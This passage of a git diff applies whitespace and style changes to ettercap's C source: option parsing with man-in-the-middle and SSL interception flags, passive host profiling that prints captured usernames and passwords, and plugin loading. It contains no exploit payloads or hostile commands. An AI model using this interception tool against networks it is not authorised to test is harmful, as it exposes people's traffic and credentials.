Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -40,9 +39,9 @@ #include #ifdef HAVE_GETOPT_H - #include +#include #else - #include +#include #endif /* protos... */ @@ -62,7 +61,6 @@ void ec_usage(void) fprintf(stdout, "\nTARGET is in the format MAC/IP/PORTs (see the man for further detail)\n"); #endif - fprintf(stdout, "\nSniffing and Attack options:\n"); fprintf(stdout, " -M, --mitm perform a mitm attack\n"); fprintf(stdout, " -o, --only-mitm don't sniff, only perform the mitm attack\n"); @@ -77,7 +75,7 @@ void ec_usage(void) fprintf(stdout, " -t, --proto sniff only this proto (default is all)\n"); fprintf(stdout, " --certificate certificate file to use for SSL MiTM\n"); fprintf(stdout, " --private-key private key file to use for SSL MiTM\n"); - + fprintf(stdout, "\nUser Interface Type:\n"); fprintf(stdout, " -T, --text use text only GUI\n"); fprintf(stdout, " -q, --quiet do not display packet contents\n"); @@ -86,14 +84,13 @@ void ec_usage(void) fprintf(stdout, " -D, --daemon daemonize ettercap (no GUI)\n"); fprintf(stdout, " -G, --gtk use GTK+ GUI\n"); - fprintf(stdout, "\nLogging options:\n"); fprintf(stdout, " -w, --write write sniffed data to pcapfile \n"); fprintf(stdout, " -L, --log log all the traffic to this \n"); fprintf(stdout, " -l, --log-info log only passive infos to this \n"); fprintf(stdout, " -m, --log-msg log all the messages to this \n"); fprintf(stdout, " -c, --compress use gzip compression on log files\n"); - + fprintf(stdout, "\nVisualization options:\n"); fprintf(stdout, " -d, --dns resolves ip addresses into hostnames\n"); fprintf(stdout, " -V, --visual set the visualization format\n"); @@ -106,7 +103,7 @@ void ec_usage(void) fprintf(stdout, " --lua-script ,[,...] comma-separted list of LUA scripts\n"); fprintf(stdout, " --lua-args n1=v1,[n2=v2,...] comma-separated arguments to LUA script(s)\n"); #endif - + fprintf(stdout, "\nGeneral options:\n"); fprintf(stdout, " -i, --iface use this network interface\n"); fprintf(stdout, " -I, --liface show all the network interfaces\n"); @@ -123,18 +120,17 @@ void ec_usage(void) fprintf(stdout, " -k, --save-hosts save the hosts list to \n"); fprintf(stdout, " -W, --wifi-key use this key to decrypt wifi packets (wep or wpa)\n"); fprintf(stdout, " -a, --config use the alterative config file \n"); - + fprintf(stdout, "\nStandard options:\n"); fprintf(stdout, " -v, --version prints the version and exit\n"); fprintf(stdout, " -h, --help this help screen\n"); fprintf(stdout, "\n\n"); - //clean_exit(0); + // clean_exit(0); exit(0); } - void parse_options(int argc, char **argv) { int c; @@ -142,7 +138,7 @@ void parse_options(int argc, char **argv) static struct option long_options[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'v' }, - + { "iface", required_argument, NULL, 'i' }, { "lifaces", no_argument, NULL, 'I' }, { "netmask", required_argument, NULL, 'n' }, @@ -150,18 +146,18 @@ void parse_options(int argc, char **argv) { "write", required_argument, NULL, 'w' }, { "read", required_argument, NULL, 'r' }, { "pcapfilter", required_argument, NULL, 'f' }, - + { "reversed", no_argument, NULL, 'R' }, { "proto", required_argument, NULL, 't' }, - + { "plugin", required_argument, NULL, 'P' }, - + { "filter", required_argument, NULL, 'F' }, #ifdef HAVE_EC_LUA { "lua-script", required_argument, NULL, 0 }, { "lua-args", required_argument, NULL, 0 }, #endif - + { "superquiet", no_argument, NULL, 'Q' }, { "quiet", no_argument, NULL, 'q' }, { "script", required_argument, NULL, 's' }, @@ -175,23 +171,22 @@ void parse_options(int argc, char **argv) { "save-hosts", required_argument, NULL, 'k' }, { "wifi-key", required_argument, NULL, 'W' }, { "config", required_argument, NULL, 'a' }, - + { "dns", no_argument, NULL, 'd' }, { "regex", required_argument, NULL, 'e' }, { "visual", required_argument, NULL, 'V' }, { "ext-headers", no_argument, NULL, 'E' }, - + { "log", required_argument, NULL, 'L' }, { "log-info", required_argument, NULL, 'l' }, { "log-msg", required_argument, NULL, 'm' }, { "compress", no_argument, NULL, 'c' }, - + { "text", no_argument, NULL, 'T' }, { "curses", no_argument, NULL, 'C' }, { "daemon", no_argument, NULL, 'D' }, { "gtk", no_argument, NULL, 'G' }, - { "mitm", required_argument, NULL, 'M' }, { "only-mitm", no_argument, NULL, 'o' }, { "bridge", required_argument, NULL, 'B' }, @@ -201,16 +196,14 @@ void parse_options(int argc, char **argv) { "certificate", required_argument, NULL, 0 }, { "private-key", required_argument, NULL, 0 }, - - { 0 , 0 , 0 , 0} + { 0, 0, 0, 0 } }; for (c = 0; c < argc; c++) DEBUG_MSG("parse_options -- [%d] [%s]", c, argv[c]); - /* OPTIONS INITIALIZATION */ - + GBL_PCAP->promisc = 1; GBL_FORMAT = &ascii_format; GBL_OPTIONS->ssl_mitm = 1; @@ -219,11 +212,11 @@ void parse_options(int argc, char **argv) GBL_OPTIONS->ssl_pkey = NULL; /* OPTIONS INITIALIZED */ - + optind = 0; int option_index = 0; - while ((c = getopt_long (argc, argv, "A:a:bB:CchDdEe:F:f:GhIi:j:k:L:l:M:m:n:oP:pQqiRr:s:STt:uV:vW:w:Y:z6", long_options, &option_index)) != EOF) { + while ((c = getopt_long(argc, argv, "A:a:bB:CchDdEe:F:f:GhIi:j:k:L:l:M:m:n:oP:pQqiRr:s:STt:uV:vW:w:Y:z6", long_options, &option_index)) != EOF) { /* used for parsing arguments */ char *opt_end = optarg; while (opt_end && *opt_end) opt_end++; @@ -231,275 +224,273 @@ void parse_options(int argc, char **argv) switch (c) { - case 'M': - set_mitm(optarg); - break; - - case 'o': - set_onlymitm(); - //select_text_interface(); - break; - - case 'b': - set_broadcast(); - break; - - case 'B': - set_iface_bridge(optarg); - break; - - case 'p': - set_promisc(); - break; -#ifndef JUST_LIBRARY - case 'T': - select_text_interface(); - break; - - case 'C': - select_curses_interface(); - break; - - case 'G': - select_gtk_interface(); - break; - - - case 'D': - select_daemon_interface(); - break; + case 'M': + set_mitm(optarg); + break; + + case 'o': + set_onlymitm(); + // select_text_interface(); + break; + + case 'b': + set_broadcast(); + break; + + case 'B': + set_iface_bridge(optarg); + break; + + case 'p': + set_promisc(); + break; +#ifndef JUST_LIBRARY + case 'T': + select_text_interface(); + break; + + case 'C': + select_curses_interface(); + break; + + case 'G': + select_gtk_interface(); + break; + + case 'D': + select_daemon_interface(); + break; #endif - - case 'R': - set_reversed(); - break; - - case 't': - set_proto(optarg); - break; - - case 'P': - set_plugin(optarg); - break; - - case 'i': - set_iface(optarg); - break; - - case 'I': - /* this option is only useful in the text interface */ - set_lifaces(); - select_text_interface(); - break; - - case 'Y': - set_secondary(optarg); - break; - - case 'n': - set_netmask(optarg); - break; - - case 'A': - set_address(optarg); - break; - - case 'r': - set_read_pcap(optarg); - break; - - case 'w': - set_write_pcap(optarg); - break; - - case 'f': - set_pcap_filter(optarg); - break; - - case 'F': - set_filter(opt_end, optarg); - break; - - case 'L': - set_loglevel_packet(optarg); - break; - - case 'l': - set_loglevel_info(optarg); - break; - - case 'm': - set_loglevel_true(optarg); - break; - - case 'c': - set_compress(); - break; - - case 'e': - opt_set_regex(optarg); - break; - - case 'Q': - set_superquiet(); - /* no break, quiet must be enabled */ - case 'q': - set_quiet(); - break; - - case 's': - set_script(optarg); - break; - - case 'z': - set_silent(); - break; - + + case 'R': + set_reversed(); + break; + + case 't': + set_proto(optarg); + break; + + case 'P': + set_plugin(optarg); + break; + + case 'i': + set_iface(optarg); + break; + + case 'I': + /* this option is only useful in the text interface */ + set_lifaces(); + select_text_interface(); + break; + + case 'Y': + set_secondary(optarg); + break; + + case 'n': + set_netmask(optarg); + break; + + case 'A': + set_address(optarg); + break; + + case 'r': + set_read_pcap(optarg); + break; + + case 'w': + set_write_pcap(optarg); + break; + + case 'f': + set_pcap_filter(optarg); + break; + + case 'F': + set_filter(opt_end, optarg); + break; + + case 'L': + set_loglevel_packet(optarg); + break; + + case 'l': + set_loglevel_info(optarg); + break; + + case 'm': + set_loglevel_true(optarg); + break; + + case 'c': + set_compress(); + break; + + case 'e': + opt_set_regex(optarg); + break; + + case 'Q': + set_superquiet(); + /* no break, quiet must be enabled */ + case 'q': + set_quiet(); + break; + + case 's': + set_script(optarg); + break; + + case 'z': + set_silent(); + break; + #ifdef WITH_IPV6 - case '6': - set_ip6scan(); - break; + case '6': + set_ip6scan(); + break; #endif - case 'u': - set_unoffensive(); - break; - - case 'S': - disable_sslmitm(); - break; - - case 'd': - set_resolve(); - break; - - case 'j': - set_load_hosts(optarg); - break; - - case 'k': - set_save_hosts(optarg); - break; - - case 'V': - opt_set_format(optarg); - break; - - case 'E': - set_ext_headers(); - break; - - case 'W': - set_wifi_key(optarg); - break; - - case 'a': - set_conf_file(optarg); - break; - - case 'h': - ec_usage(); - break; - - case 'v': - printf("%s %s\n", GBL_PROGRAM, GBL_VERSION); - clean_exit(0); - break; - - /* Certificate and private key options */ - case 0: - if (!strcmp(long_options[option_index].name, "certificate")) { - GBL_OPTIONS->ssl_cert = strdup(optarg); - } else if (!strcmp(long_options[option_index].name, "private-key")) { - GBL_OPTIONS->ssl_pkey = strdup(optarg); -#ifdef HAVE_EC_LUA - } else if (!strcmp(long_options[option_index].name,"lua-args")) { - ec_lua_cli_add_args(strdup(optarg)); - } - else if (!strcmp(long_options[option_index].name,"lua-script")) { - ec_lua_cli_add_script(strdup(optarg)); - break; -#endif - } else { - fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); - clean_exit(-1); - } + case 'u': + set_unoffensive(); + break; - break; + case 'S': + disable_sslmitm(); + break; - case ':': // missing parameter - fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); - clean_exit(-1); + case 'd': + set_resolve(); + break; + + case 'j': + set_load_hosts(optarg); + break; + + case 'k': + set_save_hosts(optarg); + break; + + case 'V': + opt_set_format(optarg); + break; + + case 'E': + set_ext_headers(); + break; + + case 'W': + set_wifi_key(optarg); + break; + + case 'a': + set_conf_file(optarg); + break; + + case 'h': + ec_usage(); + break; + + case 'v': + printf("%s %s\n", GBL_PROGRAM, GBL_VERSION); + clean_exit(0); break; - case '?': // unknown option + /* Certificate and private key options */ + case 0: + if (!strcmp(long_options[option_index].name, "certificate")) { + GBL_OPTIONS->ssl_cert = strdup(optarg); + } else if (!strcmp(long_options[option_index].name, "private-key")) { + GBL_OPTIONS->ssl_pkey = strdup(optarg); +#ifdef HAVE_EC_LUA + } else if (!strcmp(long_options[option_index].name, "lua-args")) { + ec_lua_cli_add_args(strdup(optarg)); + } else if (!strcmp(long_options[option_index].name, "lua-script")) { + ec_lua_cli_add_script(strdup(optarg)); + break; +#endif + } else { fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); clean_exit(-1); + } + + break; + + case ':': // missing parameter + fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); + clean_exit(-1); + break; + + case '?': // unknown option + fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); + clean_exit(-1); break; } } DEBUG_MSG("parse_options: options parsed"); - + /* TARGET1 and TARGET2 parsing */ if (argv[optind]) { GBL_OPTIONS->target1 = strdup(argv[optind]); DEBUG_MSG("TARGET1: %s", GBL_OPTIONS->target1); - - if (argv[optind+1]) { - GBL_OPTIONS->target2 = strdup(argv[optind+1]); + + if (argv[optind + 1]) { + GBL_OPTIONS->target2 = strdup(argv[optind + 1]); DEBUG_MSG("TARGET2: %s", GBL_OPTIONS->target2); } } /* create the list form the TARGET format (MAC/IPrange/PORTrange) */ compile_display_filter(); - + DEBUG_MSG("parse_options: targets parsed"); - + /* check for other options */ - + if (GBL_SNIFF->start == NULL) set_unified_sniff(); - + if (GBL_OPTIONS->read && GBL_PCAP->filter) FATAL_ERROR("Cannot read from file and set a filter on interface"); - - if (GBL_OPTIONS->read && GBL_SNIFF->type != SM_UNIFIED ) + + if (GBL_OPTIONS->read && GBL_SNIFF->type != SM_UNIFIED) FATAL_ERROR("You can read from a file ONLY in unified sniffing mode !"); - - if (GBL_OPTIONS->mitm && GBL_SNIFF->type != SM_UNIFIED ) + + if (GBL_OPTIONS->mitm && GBL_SNIFF->type != SM_UNIFIED) FATAL_ERROR("You can't do mitm attacks in bridged sniffing mode !"); if (GBL_SNIFF->type == SM_BRIDGED && GBL_PCAP->promisc == 0) FATAL_ERROR("During bridged sniffing the iface must be in promisc mode !"); - + if (GBL_OPTIONS->quiet && GBL_UI->type != UI_TEXT) FATAL_ERROR("The quiet option is useful only with text only UI"); - + if (GBL_OPTIONS->load_hosts && GBL_OPTIONS->save_hosts) FATAL_ERROR("Cannot load and save at the same time the hosts list..."); - + if (GBL_OPTIONS->unoffensive && GBL_OPTIONS->mitm) FATAL_ERROR("Cannot use mitm attacks in unoffensive mode"); - + if (GBL_OPTIONS->read && GBL_OPTIONS->mitm) FATAL_ERROR("Cannot use mitm attacks while reading from file"); - -#ifndef JUST_LIBRARY + +#ifndef JUST_LIBRARY if (GBL_UI->init == NULL) FATAL_ERROR("Please select an User Interface"); #endif - - /* force text interface for only mitm attack */ - /* Do not select text interface for only MiTM mode - if (GBL_OPTIONS->only_mitm) { - if (GBL_OPTIONS->mitm) - select_text_interface(); - else - FATAL_ERROR("Only mitm requires at least one mitm method"); - } */ + /* force text interface for only mitm attack */ + /* Do not select text interface for only MiTM mode + * + * if (GBL_OPTIONS->only_mitm) { + * if (GBL_OPTIONS->mitm) + * select_text_interface(); + * else + * FATAL_ERROR("Only mitm requires at least one mitm method"); + * } */ DEBUG_MSG("parse_options: options combination looks good"); return; @@ -507,6 +498,4 @@ void parse_options(int argc, char **argv) /* EOF */ - // vim:ts=3:expandtab - diff --git a/src/ec_passive.c b/src/ec_passive.c index ddc8ea39d..9b1dca58f 100644 --- a/src/ec_passive.c +++ b/src/ec_passive.c @@ -1,23 +1,23 @@ /* - ettercap -- passive information handling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- passive information handling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -29,12 +29,12 @@ #include /************************************************/ - + /* * the strategy for open port discovery is: * * if the port is less than 1024, it is open at high probability - * + * * if it is a TCP packet, we can rely on the tcp flags. * so syn+ack packet are coming from an open port. * @@ -47,27 +47,27 @@ int is_open_port(u_int8 proto, u_int16 port, u_int8 flags) { switch (proto) { - case NL_TYPE_TCP: -#if 0 - /* detect priviledged port */ - if (ntohs(po->L4.src) > 0 && ntohs(po->L4.src) < 1024 ) - return 1; + case NL_TYPE_TCP: +#if 0 + /* detect priviledged port */ + if (ntohs(po->L4.src) > 0 && ntohs(po->L4.src) < 1024) + return 1; #endif - /* SYN+ACK packet are coming from open ports */ - if ( (flags & TH_SYN) && (flags & TH_ACK) ) - return 1; - break; - case NL_TYPE_UDP: - /* - * we cannot determine if the port is open or not... - * suppose that all priveledged port used are open. - */ - if (ntohs(port) > 0 && ntohs(port) < 1024 ) - return 1; - /* look up in the table */ - if ( get_decoder(APP_LAYER_UDP, ntohs(port)) != NULL) - return 1; - break; + /* SYN+ACK packet are coming from open ports */ + if ((flags & TH_SYN) && (flags & TH_ACK)) + return 1; + break; + case NL_TYPE_UDP: + /* + * we cannot determine if the port is open or not... + * suppose that all priveledged port used are open. + */ + if (ntohs(port) > 0 && ntohs(port) < 1024) + return 1; + /* look up in the table */ + if (get_decoder(APP_LAYER_UDP, ntohs(port)) != NULL) + return 1; + break; } return 0; @@ -82,10 +82,10 @@ void print_host(struct host_profile *h) struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; - char os[OS_LEN+1]; + char os[OS_LEN + 1]; memset(os, 0, sizeof(os)); - + fprintf(stdout, "==================================================\n"); fprintf(stdout, " IP address : %s \n", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) @@ -100,7 +100,7 @@ void print_host(struct host_profile *h) if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { fprintf(stdout, " MAC address : %s \n", mac_addr_ntoa(h->L2_addr, tmp)); - fprintf(stdout, " MANUFACTURER : %s \n\n", manuf_search((const char*)h->L2_addr)); + fprintf(stdout, " MANUFACTURER : %s \n\n", manuf_search((const char *)h->L2_addr)); } fprintf(stdout, " DISTANCE : %d \n", h->distance); @@ -114,27 +114,25 @@ void print_host(struct host_profile *h) fprintf(stdout, " TYPE : REMOTE host\n\n"); else if (h->type == FP_UNKNOWN) fprintf(stdout, " TYPE : unknown\n\n"); - - + fprintf(stdout, " FINGERPRINT : %s\n", h->fingerprint); - if (fingerprint_search((const char*)h->fingerprint, os) == E_SUCCESS) + if (fingerprint_search((const char *)h->fingerprint, os) == E_SUCCESS) fprintf(stdout, " OPERATING SYSTEM : %s \n\n", os); else { fprintf(stdout, " OPERATING SYSTEM : unknown fingerprint (please submit it) \n"); fprintf(stdout, " NEAREST ONE IS : %s \n\n", os); } - - + LIST_FOREACH(o, &(h->open_ports_head), next) { - - fprintf(stdout, " PORT : %s %d | %s \t[%s]\n", - (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP" , - ntohs(o->L4_addr), - service_search(o->L4_addr, o->L4_proto), - (o->banner) ? o->banner : ""); - + + fprintf(stdout, " PORT : %s %d | %s \t[%s]\n", + (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP", + ntohs(o->L4_addr), + service_search(o->L4_addr, o->L4_proto), + (o->banner) ? o->banner : ""); + LIST_FOREACH(u, &(o->users_list_head), next) { - + if (u->failed) fprintf(stdout, " ACCOUNT : * %s / %s (%s)\n", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); else @@ -146,11 +144,10 @@ void print_host(struct host_profile *h) } fprintf(stdout, "\n"); } - + fprintf(stdout, "\n==================================================\n\n"); } - /* * prints the infos of a single host in XML format */ @@ -160,25 +157,25 @@ void print_host_xml(struct host_profile *h) struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; - char os[OS_LEN+1]; + char os[OS_LEN + 1]; memset(os, 0, sizeof(os)); - + fprintf(stdout, "\t\n", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) fprintf(stdout, "\t\t%s\n", h->hostname); - + #ifdef WITH_GEOIP if (GBL_CONF->geoip_support_enable) - fprintf(stdout, "\t\t%s\n", - geoip_country_by_ip(&h->L3_addr)); + fprintf(stdout, "\t\t%s\n", + geoip_country_by_ip(&h->L3_addr)); #endif if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { fprintf(stdout, "\t\t%s\n", mac_addr_ntoa(h->L2_addr, tmp)); - fprintf(stdout, "\t\t%s\n", manuf_search((const char*)h->L2_addr)); + fprintf(stdout, "\t\t%s\n", manuf_search((const char *)h->L2_addr)); } - + fprintf(stdout, "\t\t%d\n", h->distance); if (h->type & FP_GATEWAY) fprintf(stdout, "\t\tGATEWAY\n"); @@ -190,10 +187,9 @@ void print_host_xml(struct host_profile *h) fprintf(stdout, "\t\tREMOTE host\n"); else if (h->type == FP_UNKNOWN) fprintf(stdout, "\t\tunknown\n"); - - - if (strcmp((const char*)h->fingerprint, "")) { - if (fingerprint_search((const char*)h->fingerprint, os) == E_SUCCESS) { + + if (strcmp((const char *)h->fingerprint, "")) { + if (fingerprint_search((const char *)h->fingerprint, os) == E_SUCCESS) { fprintf(stdout, "\t\t%s\n", h->fingerprint); fprintf(stdout, "\t\t%s\n", os); } else { @@ -201,39 +197,38 @@ void print_host_xml(struct host_profile *h) fprintf(stdout, "\t\t%s\n", os); } } - + LIST_FOREACH(o, &(h->open_ports_head), next) { - - fprintf(stdout, "\t\t\n", - (o->L4_proto == NL_TYPE_TCP) ? "tcp" : "udp", - ntohs(o->L4_addr), - service_search(o->L4_addr, o->L4_proto)); - + + fprintf(stdout, "\t\t\n", + (o->L4_proto == NL_TYPE_TCP) ? "tcp" : "udp", + ntohs(o->L4_addr), + service_search(o->L4_addr, o->L4_proto)); + if (o->banner) fprintf(stdout, "\t\t\t%s\n", o->banner); - + LIST_FOREACH(u, &(o->users_list_head), next) { - - if (u->failed) + + if (u->failed) fprintf(stdout, "\t\t\t\n", u->user); else fprintf(stdout, "\t\t\t\n", u->user); - + fprintf(stdout, "\t\t\t\t%s\n", u->user); fprintf(stdout, "\t\t\t\t%s\n", u->pass); fprintf(stdout, "\t\t\t\t%s\n", ip_addr_ntoa(&u->client, tmp)); if (u->info) fprintf(stdout, "\t\t\t\t%s\n", u->info); - + fprintf(stdout, "\t\t\t\n"); } fprintf(stdout, "\t\t\n"); } - + fprintf(stdout, "\t\n"); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_plugins.c b/src/ec_plugins.c index fd6e75f1a..223509bc2 100644 --- a/src/ec_plugins.c +++ b/src/ec_plugins.c @@ -1,23 +1,23 @@ /* - ettercap -- plugin handling - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- plugin handling + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,25 +25,24 @@ #include #ifndef HAVE_SCANDIR - #include +#include #endif #ifdef HAVE_PLUGINS - #ifdef HAVE_LTDL_H - #include - #endif - #ifdef HAVE_DLFCN_H - #include - #endif +#ifdef HAVE_LTDL_H +#include +#endif +#ifdef HAVE_DLFCN_H +#include +#endif #endif /* symbol prefix for some OSes */ #ifdef NEED_USCORE - #define SYM_PREFIX "_" +#define SYM_PREFIX "_" #else - #define SYM_PREFIX "" +#define SYM_PREFIX "" #endif - /* global data */ @@ -62,10 +61,12 @@ static pthread_mutex_t kill_mutex = PTHREAD_MUTEX_INITIALIZER; #define KILL_UNLOCK do { pthread_mutex_unlock(&kill_mutex); } while (0) static pthread_mutex_t plugin_list_mutex = PTHREAD_MUTEX_INITIALIZER; -#define PLUGIN_LIST_LOCK do { pthread_mutex_lock(&plugin_list_mutex); } \ - while (0) -#define PLUGIN_LIST_UNLOCK do { pthread_mutex_unlock(&plugin_list_mutex); } \ - while (0) +#define PLUGIN_LIST_LOCK \ + do { pthread_mutex_lock(&plugin_list_mutex); } \ + while (0) +#define PLUGIN_LIST_UNLOCK \ + do { pthread_mutex_unlock(&plugin_list_mutex); } \ + while (0) /* protos... */ @@ -75,48 +76,48 @@ int plugin_filter(const struct dirent *d); /*******************************************/ -/* +/* * load a plugin given the full path */ int plugin_load_single(const char *path, char *name) { #ifdef HAVE_PLUGINS - char file[strlen(path)+strlen(name)+2]; + char file[strlen(path) + strlen(name) + 2]; void *handle; int (*plugin_load)(void *); - + snprintf(file, sizeof(file), "%s/%s", path, name); - + DEBUG_MSG("plugin_load_single: %s", file); - + /* load the plugin */ - handle = dlopen(file, RTLD_NOW|RTLD_LOCAL); + handle = dlopen(file, RTLD_NOW | RTLD_LOCAL); if (handle == NULL) { DEBUG_MSG("plugin_load_single - %s - dlopen() | %s", file, dlerror()); return -E_INVALID; } - + /* find the loading function */ plugin_load = dlsym(handle, SYM_PREFIX "plugin_load"); - + if (plugin_load == NULL) { DEBUG_MSG("plugin_load_single - %s - lt_dlsym() | %s", file, dlerror()); dlclose(handle); return -E_INVALID; } - /* - * return the same value of plugin_register + /* + * return the same value of plugin_register * we pass the handle to the plugin, which - * in turn passes it to the plugin_register + * in turn passes it to the plugin_register * function */ return plugin_load(handle); #else - (void) path; - (void) name; + (void)path; + (void)name; return -E_INVALID; #endif } @@ -126,7 +127,7 @@ int plugin_load_single(const char *path, char *name) */ int plugin_filter(const struct dirent *d) { - if ( match_pattern(d->d_name, PLUGIN_PATTERN) ) + if (match_pattern(d->d_name, PLUGIN_PATTERN)) return 1; return 0; @@ -143,7 +144,7 @@ void plugin_load_all(void) int n, i, ret; int t = 0; char *where; - + DEBUG_MSG("plugin_loadall"); #ifdef OS_WINDOWS @@ -158,7 +159,7 @@ void plugin_load_all(void) /* default path */ where = INSTALL_LIBDIR "/" EC_PROGRAM; #endif - + /* first search in INSTALL_LIBDIR/ettercap" */ n = scandir(where, &namelist, plugin_filter, alphasort); /* on error fall back to the current dir */ @@ -169,41 +170,40 @@ void plugin_load_all(void) n = scandir(where, &namelist, plugin_filter, alphasort); DEBUG_MSG("plugin_loadall: %d found", n); } - - for(i = n-1; i >= 0; i--) { + + for (i = n - 1; i >= 0; i--) { ret = plugin_load_single(where, namelist[i]->d_name); switch (ret) { - case E_SUCCESS: - t++; - break; - case -E_DUPLICATE: - USER_MSG("plugin %s already loaded...\n", namelist[i]->d_name); - DEBUG_MSG("plugin %s already loaded...", namelist[i]->d_name); - break; - case -E_VERSION: - USER_MSG("plugin %s was compiled for a different ettercap version...\n", namelist[i]->d_name); - DEBUG_MSG("plugin %s was compiled for a different ettercap version...", namelist[i]->d_name); - break; - case -E_INVALID: - default: - USER_MSG("plugin %s cannot be loaded...\n", namelist[i]->d_name); - DEBUG_MSG("plugin %s cannot be loaded...", namelist[i]->d_name); - break; + case E_SUCCESS: + t++; + break; + case -E_DUPLICATE: + USER_MSG("plugin %s already loaded...\n", namelist[i]->d_name); + DEBUG_MSG("plugin %s already loaded...", namelist[i]->d_name); + break; + case -E_VERSION: + USER_MSG("plugin %s was compiled for a different ettercap version...\n", namelist[i]->d_name); + DEBUG_MSG("plugin %s was compiled for a different ettercap version...", namelist[i]->d_name); + break; + case -E_INVALID: + default: + USER_MSG("plugin %s cannot be loaded...\n", namelist[i]->d_name); + DEBUG_MSG("plugin %s cannot be loaded...", namelist[i]->d_name); + break; } SAFE_FREE(namelist[i]); } - + USER_MSG("%4d plugins\n", t); SAFE_FREE(namelist); - + atexit(plugin_unload_all); #else USER_MSG(" 0 plugins (disabled by configure...)\n"); #endif } - /* * unload all the plugin */ @@ -211,13 +211,13 @@ void plugin_unload_all(void) { #ifdef HAVE_PLUGINS struct plugin_entry *p; - - DEBUG_MSG("ATEXIT: plugin_unload_all"); - + + DEBUG_MSG("ATEXIT: plugin_unload_all"); + while (SLIST_FIRST(&plugin_head) != NULL) { p = SLIST_FIRST(&plugin_head); - if(plugin_is_activated(p->ops->name) == 1) - plugin_fini(p->ops->name); + if (plugin_is_activated(p->ops->name) == 1) + plugin_fini(p->ops->name); dlclose(p->handle); SLIST_REMOVE_HEAD(&plugin_head, next); SAFE_FREE(p); @@ -225,7 +225,6 @@ void plugin_unload_all(void) #endif } - /* * function used by plugins to register themself */ @@ -239,7 +238,7 @@ int plugin_register(void *handle, struct plugin_ops *ops) dlclose(handle); return -E_VERSION; } - + /* check that this plugin was not already loaded */ SLIST_FOREACH(pl, &plugin_head, next) { /* same name and same version */ @@ -250,7 +249,7 @@ int plugin_register(void *handle, struct plugin_ops *ops) } SAFE_CALLOC(p, 1, sizeof(struct plugin_entry)); - + p->handle = handle; p->ops = ops; @@ -258,16 +257,15 @@ int plugin_register(void *handle, struct plugin_ops *ops) return E_SUCCESS; #else - (void) handle; - (void) ops; + (void)handle; + (void)ops; return -E_INVALID; #endif } - -/* +/* * activate a plugin. - * it launch the plugin init function + * it launch the plugin init function */ int plugin_init(char *name) { @@ -284,14 +282,13 @@ int plugin_init(char *name) return ret; } } - + return -E_NOTFOUND; } - -/* +/* * deactivate a plugin. - * it launch the plugin fini function + * it launch the plugin fini function */ int plugin_fini(char *name) { @@ -308,11 +305,11 @@ int plugin_fini(char *name) return ret; } } - + return -E_NOTFOUND; } -/* +/* * self-destruct a plugin thread. * it resets the activity state and destructs itself by calling the plugin fini function. * it does not replace the _fini standard function rather than it depends on it. @@ -324,7 +321,7 @@ int plugin_kill_thread(char *name, char *thread) int ret; pthread_t pid; - pid = ec_thread_getpid(thread); + pid = ec_thread_getpid(thread); /* do not execute if not being a thread */ if (pthread_equal(pid, EC_PTHREAD_NULL)) @@ -348,9 +345,9 @@ int plugin_kill_thread(char *name, char *thread) /* call plugin's destruction routine */ ret = p->ops->fini(NULL); /* - * normally the thread should not return from the call - + * normally the thread should not return from the call - * just in case the thread wasn't destroyed in the fini callback - * destroy it here + * destroy it here */ ec_thread_destroy(pid); @@ -359,7 +356,7 @@ int 